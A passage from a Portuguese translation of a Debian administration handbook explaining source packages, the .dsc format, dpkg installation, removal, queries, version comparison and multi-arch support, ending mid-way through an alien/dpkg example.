-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Formato: 3.0 (quilt) Fonte: zim Binario: zim Arquitetura: all Versão: 0.73.5-1 Matenedor: Zim Package Maintainers <zim@packages.debian.org> Atualizadores: Raphaël Hertzog <hertzog@debian.org> Pagina-principal: https://zim-wiki.org Versao-padrão: 4.5.1 Vcs-Browser: https://salsa.debian.org/debian/zim Vcs-Git: https://salsa.debian.org/debian/zim.git Build-Depends: debhelper-compat (= 13), python3, python3-gi, python3-xdg, gir1.2-gtk-3.0, dh-python Pacote-lista: zim deb x11 optional arch=all Checksums-Sha1: 80d43d5c1c6a47c695079eb02bc8ad36b84d6e57 2159901 zim_0.73.5.orig.tar.gz b1cd86dc4819a80126efbf6ee6eba17a33f451d3 10124 zim_0.73.5-1.debian.tar.xz Checksums-Sha256: a36f15d92c3994c0d55b07f83253b3d8b826beb3714865edbabc14f1cc91d63a 2159901 zim_0.73.5.orig.tar.gz 6c2db642d9ac1c2440ed08e0cd584006045b342b255f37ffe42bd5459fb5cb76 10124 zim_0.73.5-1.debian.tar.xz Arquivos: fa76ceb8ac7d7354fb0e2bc5607e9faa 2159901 zim_0.73.5.orig.tar.gz a0c824d979efb196cde0176d3cb9c719 10124 zim_0.73.5-1.debian.tar.xz -----BEGIN PGP SIGNATURE----- Comentario: Assinado porRaphael Hertzog iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAmAa3ooACgkQA4gdq+vC mrkq1gf/cs7irmbCSDrADVqsqYBrFJ1FyprE3jiHLNs0OQLryhFj9tzDuilX35VE HkCfxSaKkzgvQLYtpuw1VBfhOdngTdHO39U6eljkaScnfLWU8Z5n/q+YeedxItoY X3TtzMexFmb4WJqlylfjbXeqbLdYvsILQ3NVnE48AzkaBQlCC2d9bqecZhWiKfzq gNxIDVDDhqCXMPe7QCErCBiFPUVpGN7b+6QWN0RxOTLZdj/slRD73rT++VmY+xN1 L8BSLcjXie+ES11MhQNYaLpCv2vqImlZaxkFWvsKBo9ndRFSbE3/RNK479a4KGve KrdpGUJXy9uLPuAMyn5WphwXJ7OZXQ== =YFDk -----END PGP SIGNATURE-----

Observe que o pacote fonte também tem dependências (Build-Depends) completamente diferentes dos pacotes fonte, já que ele indicam ferramentas necessárias para a compilação do programa em questão e da construção do pacote binário.

ATENÇÃO espaço de nomes distinto

É importante notar aqui que não existe correspondência obrigatória entre o nome do pacote fonte e o do(s) pacote(s) binário(s) que ele gera. Isto é fácil de perceber se você sabe que cada pacote fonte pode gerar vários pacotes binários. É por isso que o arquivo .dsc tem os campos Source e Binary para explicitamente nomear o pacote fonte e armazenar a lista de pacotes binários que ele gera.

CULTURA Por que dividir entre vários pacotes

Com frequência, um pacote fonte (para um certo programa) pode gerar vários pacotes binários. As separação é justificada pela possibilidade de usar o software (ou partes dele) em diferentes contextos. Considere uma biblioteca compartilhada, ela pode ser instalada para fazer uma aplicação funcionar (por exemplo, libc6), ou ela pode ser instalada para desenvolver um novo programa (neste caso a libc6-dev é o pacote correto). Encontramos a mesma lógica para serviços cliente/servidor onde queremos instalar a parte do servidos em uma máquina e a parte cliente em outras (este é o caso, por exemplo, do openssh-server e do openssh-client).

Com a mesma frequência, a documentação é fornecida num pacote dedicado: o usuário pode instalar ela independente do software, e pode, a qualquer momento, escolher removê-la para economizar espaço em disco. Adicionalmente, isto também economiza espaço em disco em espelhos Debian, já que o pacote de documentação será compartilhado entre todas as arquiteturas (ao invés de ter a documentação duplicada nos pacotes para cada arquitetura).

PERSPECTIVA Formatos de pacotes fonte diferentes

Originalmente existia apenas um formato de pacote fonte. Este é o formato 1.0, que associa um arquivamento .orig.tar.gz a um patch de "debianização" .diff.gz (também existe uma variante, que consiste de um arquivamento único .tar.gz, que é usada automaticamente se nenhum .orig.tar.gz estiver disponível).

Desde o Debian 6 Squeeze, os Desenvolvedores Debian têm a opção de usar novos formatos que corrigem muitos problemas do formato histórico. O Formato 3.0 (quilt) pode combinar vários arquivamentos do upstream num mesmo pacote fonte: adicionalmente ao usual .orig.tar.gz, arquivamentos suplementares .orig-componente.tar.gz podem ser incluídos. Isto é útil com software que é distribuído em vários componentes mas para o qual se deseja um único pacote fonte. Estes arquivamentos podem também ser comprimidos com o xz ao invés do gzip, o que economiza espaço em disco e recursos de rede. Finalmente, o patch monolítico, .diff.gz é substituído por um arquivamento .debian.tar.xz contendo as instruções de compilação e um conjunto de patches do upstream fornecido pelo mantenedor do pacote. Estes últimos são gravados num formato compatível com o quilt — uma ferramenta que facilita o gerenciamento de séries de patches.

O arquivo .orig.tar.gz é um arquivo que contém o código fonte como fornecido pelo desenvolvedor oficial. Pede-se que mantenedores de pacotes Debian não modifiquem este arquivo para que possa ser fácil verificar a origem e a integridade do arquivo (simplesmente comparando com o checksum) e para respeitar o desejo de alguns autores.

O .debian.tar.xz contém todas as modificações feitas pelo mantenedor Debian, especialmente a adição de um diretório debian contendo as instruções a executar para construir um ou mais pacotes binários Debian.

FERRAMENTA Descompactando um pacote fonte

Se você tem um pacote fonte, pode usar o comando dpkg-source (do pacote dpkg-dev) para descomprimi-lo:

$ dpkg-source -x zim_0.73.5-1.dsc dpkg-source: info: extracting zim in zim-0.73.5 dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

Você também pode usar o apt para baixar um pacote fonte e descompactá-lo imediatamente. Isto requer, entretanto, que as linhas deb-src apropriadas estejam presentes no arquivo /etc/apt/sources.list (para mais detalhes, veja Seção 6.1, “Preenchendo no arquivo sources.list Arquivo”). Estas servem para lista os "fontes" dos pacotes fonte (ou seja, os servidores nos quais um grupo de pacotes fonte estão hospedados).

$ apt source package Lendo listas de pacotes... Pronto AVISO: o empacotamento de 'zim' é mantido no sistema de controle de versões 'Git' em: https://salsa.debian.org/debian/zim.git Por favor utilize: git clone https://salsa.debian.org/debian/zim.git para obter as últimas actualizações (possivelmente por lançar) ao pacote. Preciso obter 2,523 kB de arquivos fonte. Obter:1 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (dsc) [1.580 B] Obter:2 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (tar) [2.160 kB] Obter:3 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (diff) [10,1 kB] Baixados 2.172 kB em 1s (7.176 kB/s) dpkg-source: info: extracting zim in zim-0.73.5 dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

5.3.2. Uso no Debian

O pacote fonte é o fundamento de tudo no Debian. Todos os pacotes Debian vêm de um pacote fonte, e cada modificação num pacote Debian é consequência de uma modificação feita no pacote fonte. Os mantenedores Debian trabalham com pacotes fonte, mas sabem das consequências dos seus atos nos pacotes binários. Os frutos de seus trabalhos são, portanto, encontrados nos pacotes fonte do Debian: você pode facilmente retroceder a eles e tudo pode decorrer a partir deles.Capítulo 15, Criando um Pacote Debian contém algung exemplos.

Quando uma nova versão de um pacote fonte chega ao servidor Debian, na verdade, ele vai agora ser usado por uma rede de máquinas de diferentes arquiteturas para compilação nas várias arquiteturas suportadas pelo Debian.

→ https://buildd.debian.org/

INDO ALÉM uploads de mantenedor somente com fonte

Logo depois do lançamento do Debian 10 Buster o Time de Lançamento anunciou que uploads de binários do mantenedor não serão mais aceitos para o main e todos os pacotes binários neste componente devem ser construídos automaticamente de uploads mandatórios da origem. Embora os uploads binários ainda sejam permitidos para os componentes contrib e non-free, não focaremos nessa possibilidade, pois deve ser apenas uma exceção.

5.4. Manipulando Pacotes com o dpkg

O dpkg é o comando básico para lidar com pacotes Debian no sistema. Se você tem pacotes .deb, é com o dpkg que você instala ou analisa seu conteúdo. Mas este programa tem apenas uma visão parcial do universo Debian: ele sabe o que está instalado no sistema, e o que for dado na linha de comando, mas não sabe nada dos outros pacotes disponíveis. Assim, ele vai falhar se uma dependência não for satisfeita. Ferramentas como o apt e aptitude, ao contrário, criará uma lista de dependências para instalar tudo o mais automaticamente possível.

NOTE dpkg ou apt?

dpkg deve ser vista como uma ferramenta de sistema (nos bastidores), e apt como uma ferramenta mais próxima do usuário, que supera as limitações das antigas. Estas ferramentas trabalham juntas, cada uma com suas particularidades, adequadas para tarefas específicas.

5.4.1. Instalando pacotes

dpkg é, principalmente, a ferramenta para instalar um pacote Debian já disponível (já que ele não baixa nada). Para isto, usamos sua opção -i ou --install.

Exemplo 5.2. Instalação de um pacote com dpkg

# dpkg -i man-db_2.8.5-2_amd64.deb (Lendo banco de dados ... 14913 ficheiros e directórios actualmente instalados.) A preparar para desempacotar .../man-db_2.8.5-2_amd64.deb ... A descompactar man-db (2.8.5-2) sobre (2.8.5-2) ... Configurando man-db (2.8.5-2) ... Updating database of manual pages ... man-db.service is a disabled or a static unit not running, not starting it. A processar 'triggers' para mime-support (3.62) ...

Podemos ver os diferentes passos realizados pelo dpkg; sabemos, portanto, em qual ponto um erro ocorreu. A instalação pode também ser realizada em dois estágios: primeiro desempacotar, depois configurar. O apt usa isto, limitando o número de chamadas para o dpkg (já que cada chamada é custosa, devido à carga do banco de dados em memória, principalmente da lista de arquivos já instalados).

Exemplo 5.3. Desempacotando e configurando separadamente

# dpkg --unpack man-db_2.9.4-2_amd64.deb (Reading database ... 227466 files and directories currently installed.) Preparing to unpack man-db_2.9.4-2_amd64.deb ... Unpacking man-db (2.9.4-2) over (2.9.4-2) ... Processing triggers for mime-support (3.69) ... # dpkg --configure man-db Setting up man-db (2.9.4-2) ... Updating database of manual pages ... man-db.service is a disabled or a static unit not running, not starting it.

Algumas vezes, o dpkg vai falhar ao instalar um pacote e retornar um erro; se o usuário ordenar que ele ignore isto, ele vai mostrar apenas um aviso; é por esta razão que temos as diferentes opções --force-*. O comando dpkg --force-help, ou a documentação deste comando, vai dar uma lista completa destas opções. O erro mais frequente, que você vai encontrar, cedo ou tarde, é colisão de arquivos. Quando um pacote contém um arquivo que já está instalado por outro pacote, o dpkg se recusará a instalá-lo. As seguintes mensagens vão aparecer:

Desempacotando libgdm (from .../libgdm_3.8.3-2_amd64.deb) ... dpkg: erro processando /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack): tentando sobrescrever '/usr/bin/gdmflexiserver', que também está no pacote gdm3 3.4.1-9

Neste caso, se você pensa que se você acha que substituir este arquivo não é um risco significante à estabilidade de seu sistema (o que normalmente é o caso), você pode usar a opção --force-overwrite, que diz ao dpkg para ignorar este erro e sobreescrever o arquivo.

Mesmo que existam muitas opções --force-* disponíveis, apenas --force-overwrite costuma ser usada regularmente. Estas opções existem apenas para situações excepcionais, raramente encorajadas no Debian Stable. É melhor evitar usá-las o máximo possível para respeitar as regras impostas pelo mecanismo de empacotamento. Não esqueça, estas regras garantem a consistência e estabilidade de seu sistema.

ATENÇÃO Uso efetivo do --force-*

Se você não for cuidadoso, o uso de uma opção --force-* pode levar a um sistema onde a família APT de comandos vai re recusar a funcionar. Em efeito, algumas destas opções permitem a instalação de um pacote quando uma dependência não é atingida, ou quando existe um conflito. O resultado é um sistema inconsistente do ponto de vista de dependências, e os comandos APT vão se recusar a executar quaisquer ações exceto aquelas que trarão o sistema de volta a um estado consistente (isto frequentemente consiste da instalação de dependências faltando ou da remoção de um pacote problemático). Isto às vezes resulta numa mensagem como esta, obtida depois de instalar uma nova versão do rdesktop enquanto ignora suas dependências de uma versão mais nova do libc6:

# apt full-upgrade [...] You might want to run 'apt-get -f install' to correct these. The following packages have unmet dependencies: rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed E: Unmet dependencies. Try using -f.

Um administrador corajoso que tem certeza da corretude da sua análise pode escolher ignorar uma dependência ou conflito e usar a respectiva opção --force-*. Neste caso, se ele quiser ser capaz de continuar a usar o apt ou o aptitude, ele deve editar o /var/lib/dpkg/status para apagar ou modificar a dependência, ou conflito, que ele escolher passar por cima.

Esta manipulação é um truque feio, e nunca deve ser feito, exceto na mais extrema necessidade. Muito frequentemente, uma solução mais adequada é recompilar o pacote que está causando o problema (veja em Seção 15.1, “Reconstruindo um Pacote a partir de suas Fontes”) ou use uma versão nova (provavelmente corrigida) de um repositório como o table-backports (veja em Seção 6.1.2.4, “Backports estáveis”).

5.4.2. Remoção de pacote

Invocando o dpkg com a opção -r ou --remove, seguida pelo nome de um pacote, remove o pacote. Esta remoção é, entretanto, incompleta: todos os arquivos de configuração, scripts do mantenedor, arquivos de log (logs de sistema) e outros dados do usuário manipulados pelo pacote permanecem. Dessa forma, a desativação do programa é feita facilmente desinstalando-o, e ainda é possível reinstalá-lo rapidamente com a mesma configuração. Para remover completamente tudo associado a um pacote, use a opção -P ou --purge, seguida do nome do pacote.

Exemplo 5.4. Remoção e expurgo do pacote debian-cd

# dpkg -r debian-cd (Lendo base de dados ... 228705 arquivos e diretórios já instalados.) Removendo debian-cd (3.1.35) ... # dpkg -P debian-cd (Lendo base de dados ... 228049 arquivos e diretórios já instalados.) Limpando arquivos de configuração para debian-cd (3.1.35) ...

5.4.3. Consultando o banco de dados do dpkg e inspecionando os arquivos .deb

DE VOLTA AO BÁSICO sintaxe das opções

A maioria das opções estão disponíveis em uma versão "longa" (uma ou mais palavras relevantes, precedidas de traço duplo) e uma versão "curta" (uma única letra, geralmente a inicial de uma palavra da versão longa, e precedida de um traço). Esta convenção é tão comum que é um padrão do POSIX.

Antes de concluir esta seção, vamos estudar as opções do dpkg que consultam o banco de dados interno para obter informações. Dando primeiro as opções no formato longo e depois os correspondentes formatos curtos (que, evidentemente, vão ter os mesmo argumentos possiveis) citamos

--listfiles pacote (ou -L), que lista os arquivos instalados pelo pacote;

--search arquivo (ou -S), que encontra o(s) pacote(s) contendo o arquivo;

--status pacote (ou -s), que mostra os cabeçalhos dos pacotes instalados;

--list (ou -l), que mostra a lista de pacotes conhecidos do sistema e seus status de instalação;

--contents file.deb (ou -c), que lista os arquivos no pacote Debian específico;

--info file.deb (ou -I), que mostra os cabeçalhos deste pacote Debian.

ATENÇÃO dpkg --search e /usr misturado

Por várias razões, o Debian agora instala por padrão uns poucos diretórios no nível mais alto como links simbólicos para seus respectivos em /usr. Por exemplo, /bin, /sbin e /lib são agora links simbólicos para, respectivamente, /usr/bin, /usr/sbin e /usr/lib.

Se por um lado isto provoca efeitos benéficos, também pode ser fonte de confusão. Por exemplo, quando você consulta o dpkg sobre que pacotes contém um dado arquivo, ele só será capaz de responder quando você mostrar o caminho original:

$ dpkg --search /bin/mount mount: /bin/mount $ dpkg --search /usr/bin/mount dpkg-query: no path found matching pattern /usr/bin/mount $ dpkg --search /bin/apt dpkg-query: no path found matching pattern /bin/apt $ dpkg --search /usr/bin/apt apt: /usr/bin/apt

Este assunto está atualmente sendo analisado no bug #858331. Há também uma discussão se a abordagem usada até agora é contraprodutiva.

→ https://bugs.debian.org/858331

Exemplo 5.5. Várias consultas com o dpkg

$ dpkg -L base-passwd /. /usr /usr/sbin /usr/sbin/update-passwd /usr/share /usr/share/base-passwd /usr/share/base-passwd/group.master /usr/share/base-passwd/passwd.master /usr/share/doc /usr/share/doc/base-passwd /usr/share/doc/base-passwd/README /usr/share/doc/base-passwd/changelog.gz /usr/share/doc/base-passwd/copyright /usr/share/doc/base-passwd/users-and-groups.html /usr/share/doc/base-passwd/users-and-groups.txt.gz /usr/share/doc-base /usr/share/doc-base/users-and-groups /usr/share/lintian /usr/share/lintian/overrides /usr/share/lintian/overrides/base-passwd /usr/share/man /usr/share/man/de /usr/share/man/de/man8 /usr/share/man/de/man8/update-passwd.8.gz /usr/share/man/es /usr/share/man/es/man8 /usr/share/man/es/man8/update-passwd.8.gz /usr/share/man/fr /usr/share/man/fr/man8 /usr/share/man/fr/man8/update-passwd.8.gz /usr/share/man/ja /usr/share/man/ja/man8 /usr/share/man/ja/man8/update-passwd.8.gz /usr/share/man/man8 /usr/share/man/man8/update-passwd.8.gz /usr/share/man/pl /usr/share/man/pl/man8 /usr/share/man/pl/man8/update-passwd.8.gz /usr/share/man/ru /usr/share/man/ru/man8 /usr/share/man/ru/man8/update-passwd.8.gz $ dpkg -S /bin/date coreutils: /bin/date $ dpkg -s coreutils Package: coreutils Essential: yes Status: install ok installed Priority: required Section: utils Installed-Size: 15719 Maintainer: Michael Stone <mstone@debian.org> Architecture: amd64 Multi-Arch: foreign Version: 8.30-3 Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libselinux1 (>= 2.1.13) Description: GNU core utilities This package contains the basic file, shell and text manipulation utilities which are expected to exist on every operating system. . Specifically, this package includes: arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false flock fmt fold groups head hostid id install join link ln logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test timeout touch tr true truncate tsort tty uname unexpand uniq unlink users vdir wc who whoami yes Homepage: http://gnu.org/software/coreutils $ dpkg -l 'b*' Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-====================-===============-===============-================================================== un backupninja <none> <none> (no description available) un backuppc <none> <none> (no description available) un baobab <none> <node> (no description available) un base <none> <none> (no description available) un base-config <none> <none> (no description available) ii base-files 11 amd64 Debian base system miscellaneous files ii base-passwd 3.5.46 amd64 Debian base system master password and group files ii bash 5.0-4 amd64 GNU Bourne Again SHell [..] $ dpkg -c /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb drwxr-xr-x root/root 0 2018-12-15 02:17 ./ drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/ drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/bin/ -rwxr-xr-x root/root 3516 2018-12-15 02:17 ./usr/bin/gpg-zip -rwxr-xr-x root/root 866256 2018-12-15 02:17 ./usr/bin/gpgcompose -rwxr-xr-x root/root 30792 2018-12-15 02:17 ./usr/bin/gpgparsemail -rwxr-xr-x root/root 84432 2018-12-15 02:17 ./usr/bin/gpgsplit -rwxr-xr-x root/root 154952 2018-12-15 02:17 ./usr/bin/gpgtar -rwxr-xr-x root/root 166568 2018-12-15 02:17 ./usr/bin/kbxutil -rwxr-xr-x root/root 1081 2017-08-28 12:22 ./usr/bin/lspgpot -rwxr-xr-x root/root 2194 2018-11-18 23:37 ./usr/bin/migrate-pubring-from-classic-gpg -rwxr-xr-x root/root 121576 2018-12-15 02:17 ./usr/bin/symcryptrun -rwxr-xr-x root/root 18424 2018-12-15 02:17 ./usr/bin/watchgnupg drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/sbin/ -rwxr-xr-x root/root 3075 2018-12-15 02:17 ./usr/sbin/addgnupghome -rwxr-xr-x root/root 2217 2018-12-15 02:17 ./usr/sbin/applygnupgdefaults drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/share/ drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/share/doc/ [...] $ dpkg -I /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb new Debian package, version 2.0. size 857408 bytes: control archive=1844 bytes. 1564 bytes, 32 lines control 1804 bytes, 28 lines md5sums Package: gnupg-utils Source: gnupg2 Version: 2.2.12-1 Architecture: amd64 Maintainer: Debian GnuPG Maintainers <pkg-gnupg-maint@lists.alioth.debian.org> Installed-Size: 1845 Depends: libassuan0 (>= 2.0.1), libbz2-1.0, libc6 (>= 2.25), libgcrypt20 (>= 1.8.0), libgpg-error0 (>= 1.26-2~), libksba8 (>= 1.3.4), libreadline7 (>= 6.0), zlib1g (>= 1:1.1.4) Recommends: gpg, gpg-agent, gpgconf, gpgsm Breaks: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4) Replaces: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4) Section: utils Priority: optional Multi-Arch: foreign Homepage: https://www.gnupg.org/ Description: GNU privacy guard - utility programs GnuPG is GNU's tool for secure communication and data storage. . This package contains several useful utilities for manipulating OpenPGP data and other related cryptographic elements. It includes: . * addgnupghome -- create .gnupg home directories * applygnupgdefaults -- run gpgconf --apply-defaults for all users * gpgcompose -- an experimental tool for constructing arbitrary sequences of OpenPGP packets (e.g. for testing) * gpgparsemail -- parse an e-mail message into annotated format * gpgsplit -- split a sequence of OpenPGP packets into files * gpgtar -- encrypt or sign files in an archive * kbxutil -- list, export, import Keybox data * lspgpot -- convert PGP ownertrust values to GnuPG * migrate-pubring-from-classic-gpg -- use only "modern" formats * symcryptrun -- use simple symmetric encryption tool in GnuPG framework * watchgnupg -- watch socket-based logs [..]

INDO ALÉM Comparação de versões

Como o dpkg é o programa para manipular pacotes Debian, ele também é a implementação de referência da lógica de comparar números de versão. É por isto que ele tem uma opção --compare-versions, usada por programas externos (principalmente scripts de configuração executados pelo próprio dpkg). Esta opção precisa de três parâmetros: um número de versão, um operador de comparação e um segundo número de versão. Os operadores são lt (menor que "lower than"), le (menor ou igual "less than or equal to"), eq (igual "equal"), ne (diferente "not equal"), ge (maior ou igual "greater than or equal to") e gt (maior que "strictly greater than"). Se a comparação der correta, o dpkg retorna 0 (sucesso); senão, retorna um valor não-zero (indicando falha).

$ dpkg --compare-versions 1.2-3 gt 1.1-4 $ echo $? 0 $ dpkg --compare-versions 1.2-3 lt 1.1-4 $ echo $? 1 $ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1 $ echo $? 1

Observe a falha inesperada da última comparação: para o dpkg, pre normalmente significa uma pre-release ("pré-lançamento") e não tem um significado especial, e este programa compara as letras da mesma forma que os números (a <b < c ...), em ordem alfabética. É por isto que ele considera “0pre3” como sendo maior que “0”. Quando nós queremos um número de versão de pacote para indicar que é um pré-lançamento, usamos o til, “~”:

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1 $ echo $? 0

5.4.4. Arquivo de log do dpkg

dpkg mantém um log de todas as suas ações em /var/log/dpkg.log. Este log é extremamente detalhado, pois detalha todos os passos da manipulação de pacotes pelo dpkg. Adicionalmente oferece uma forma de rastrear o comportamento do dpkg, ele ajuda, sobretudo, a manter um histórico do desenvolvimento do sistema: pode-se encontrar o exato momento em que cada pacote foi instalado ou atualizado, e esta informação pode ser extremamente útil para entender uma mudança de comportamento recente. Adicionalmente, com todas as versões sendo registradas, é fácil cruzar os dados com a informação em changelog.Debian.gz para o pacote em questão, ou mesmo com o relatório de defeitos on line (bug reports online).

5.4.5. Suporte Multi-Arqu

Todos os pacotes Debian tem um campo Arquitetura na informação de controle dele. Este campo pode conter também “Todos” (para aqueles pacotes que são de todas as arquiteturas independentemente) ou o nome da arquitetura que ele aponta (como “amd64”, “armhf”, …). Neste último caso, por padrão, dpkg apenas aceitará instalar o pacote, se a sua arquitetura combinar com a arquitetura do host como retornado pelo dpkg --print-arquitetura.

Esta restrição garante que os usuários não acabam com os binários compilados para uma arquitetura incorreta. Tudo seria perfeito, exceto que (alguns) computadores podem executar binários para várias arquiteturas, quer nativamente (um sistema de "amd64" pode rodar binários "i386") ou através de emuladores.

5.4.5.1. Habilitando Multi-Arqu

O suporte multi-arquitetura do dpkg permite aos usuários definir arquiteturas “estrangeiras” que podem ser instaladas no sistema atual. Isto é simplesmente feito com dpkg --add-architecture como no exemplo abaixo. Há um correspondente dpkg --remove-architecture para remover o suporte de uma arquitetura externa, mas ele só pode ser usado quando nenhum pacote desta arquitetura permanece.

# dpkg --print-architecture amd64 # dpkg --print-foreign-architectures # dpkg -i gcc-9-base_9.3.0-22_armhf.deb dpkg: error processing archive gcc-9-base_9.3.0-22_armhf.deb (--install): package architecture (armhf) does not match system (amd64) Errors were encountered while processing: gcc-9-base_9.3.0-22_armhf.deb # dpkg --add-architecture armhf # dpkg --add-architecture armel # dpkg --print-foreign-architectures armhf armel # dpkg -i gcc-9-base_9.3.0-22_armhf.deb (Reading database ... 456367 files and directories currently installed.) Preparing to unpack gcc-9-base_9.3.0-22_armhf.deb ... Unpacking gcc-9-base:armhf (9.3.0-22) ... Setting up gcc-9-base:armhf (9.3.0-22) ... # dpkg --remove-architecture armhf dpkg: error: cannot remove architecture 'armhf' currently in use by the database # dpkg --remove-architecture armel # dpkg --print-foreign-architectures armhf

OBS suporte APT multi-arqu

O APT irá detectar automaticamente quando o dpkg foi configurado para suportar arquiteturas estrangeiras e vai começar a baixar os arquivosPackages correspondentes durante seu processo de atualização.

Pacotes estranhos podem em seguida ser instalados com apt install pacote:arquitetura.

NA PRÁTICA Usando binários de propriedade do i386 no amd64

Existem vários casos de uso para multi-arch, mas os mais populares são a possibilidade de executar binários (algumas vezes proprietários) de 32 bits (i386) em sistemas de 64 bits (amd64), e a possibilidade de fazer compilação cruzada de programas para uma plataforma ou arquitetura diferentes da máquina.

5.4.5.2. Alterações relativas ao Multi-Arqu

Para fazer Multi-Arqu realmente útil e utilizável, as bibliotecas tiveram de ser reempacotadas e movidas para um diretório de uma arquitetura específica, de modo que várias cópias (apontando para diferentes arquiteturas) pudessem ser instaladas lado a lado. Tais pacotes atualizados contém o campo de cabeçalho “Multi-Arqu: same” para dizer ao sistema de empacotamento que as várias arquiteturas do pacote podem ser seguramente co-instaladas (e que os pacotes só podem satisfazer as dependências de pacotes da mesma arquitetura). As bibliotecas mais importantes foram convertidas desde a introdução do multi-arch no Debian 7 Wheezy, mas existem muitas bibliotecas que provavelmente nunca serão convertidas a menos que alguém peça especificamente por elas (através de um bugreport, por exemplo).

$ dpkg -s gcc-9-base dpkg-query: error: --status needs a valid package name but 'gcc-9-base' is not: ambiguous package name 'gcc-9-base' with more than one installed instance Use --help for help about querying packages. $ dpkg -s gcc-9-base:amd64 gcc-9-base:armhf | grep ^Multi Multi-Arch: same Multi-Arch: same $ dpkg -L libgcc-s1:amd64 |grep .so /lib/x86_64-linux-gnu/libgcc_s.so.1 $ dpkg -S /usr/share/doc/gcc-9-base/copyright gcc-9-base:amd64, gcc-9-base:armhf: /usr/share/doc/gcc-9-base/copyright

Vale a pena notar que o pacote Multi-Arqu: same devem ter seus nomes qualificados com sua arquitetura para ser inequivocamente identificável. Eles também têm a possibilidade de compartilhar arquivos com outras instâncias do mesmo pacote; dpkg garante que todos os pacotes têm arquivos bit-por-bit idênticos quando eles são compartilhados. Por último, mas não menos importante, todas as instâncias de um pacote devem ter a mesma versão. Devem, portanto, ser atualizados em conjunto.

Suporte Multi-Arch também traz alguns desafios interessantes na forma como são tratadas as dependências. Satisfazer uma dependência requer um pacote marcado “Multi-Arqu: foreign” ou um pacote cuja arquitetura corresponde ao do pacote declarando a dependência (no processo de resolução de dependência, pacotes independentes de arquitetura são assumidos ser da mesma arquitetura que o host). A dependência também pode ser enfraquecida para permitir que qualquer arquitetura de cumpri-la, com a sintaxe pacote:any, mas pacotes estrangeiros só podem satisfazer uma tal dependência, se eles são marcados “Multi-Arch: allowed”.

5.5. Coexistência com outros sistemas de pacotes

Pacotes Debian não são os únicos pacotes de software usados no mundo do software livre. O principal concorrente é o formato RPM do Red Hat Linux e seus muitos derivados. Red Hat é uma distribuição comercial muito popular. Assim, é comum para software fornecido por terceiros ser oferecido como pacotes RPM ao invés de pacotes Debian.

Neste caso, saiba que o programa rpm, que manipula pacotes RPM, está disponível como um pacote Debian, portanto é possível usar este formato de pacote no Debian. Deve-se tomar cuidado, entretanto, para limitar estas manipulações ao extrair a informação de um pacote ou verificar sua integridade. É, na verdade, sem sentido usar o rpm para instalar RPMs em sistemas Debian; O RPM usa seu próprio banco de dados, separado do software nativo (como o dpkg). É por isto que não é possível garantir uma coexistência estável dos dois sistemas de pacotes.

Por outro lado, o utilitário alien pode converter pacotes RPM em pacotes Debian, e vice-versa.

COMUNIDADE Encorajando a adoção de .deb

Se você usa regularmente o programa alien para instalar pacotes RPM vindos de um de seus fornecedores, não hesite em escrever para eles e amigavelmente expressar sua forte preferência pelo formato .deb. Observe que o formato do pacote não é tudo: um pacote .deb construído com o alien ou preparado para uma versão do Debian diferente da que você usa, ou mesmo vindo de uma distribuição derivada como o ubuntu, provavelmente não ofereceria o mesmo nível de qualidade e integração que um pacote feito especificamente para o Debian Bullseye.

$ fakeroot alien --to-deb phpMyAdmin-5.1.1-2.fc35.noarch.rpm [..] Warning: Skipping conversion of scripts in package phpMyAdmin: postinst Warning: Use the --scripts parameter to include the scripts. [..] phpmyadmin_5.1.1-3_all.deb generated $ ls -sh phpmyadmin_5.1.1-3_all.deb 6,0M phpmyadmin_5.1.1-3_all.deb $ dpkg -c phpmyadmin_5.1.1-3_all.deb drwxr-xr-x root/root 0 2021-08-09 02:02 ./ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/httpd/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/httpd/conf.d/ -rw-r--r-- root/root 1181 2021-07-27 09:32 ./etc/httpd/conf.d/phpMyAdmin.conf drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/nginx/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/nginx/default.d/ -rw-r--r-- root/root 430 2021-07-27 09:32 ./etc/nginx/default.d/phpMyAdmin.conf drwxr-x--- root/root 0 2021-08-09 02:02 ./etc/phpMyAdmin/ -rw-r----- root/root 4546 2021-07-27 09:34 ./etc/phpMyAdmin/config.inc.php drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/doc/ drwxr-xr-x root/root 0 2021-08-09 02:02 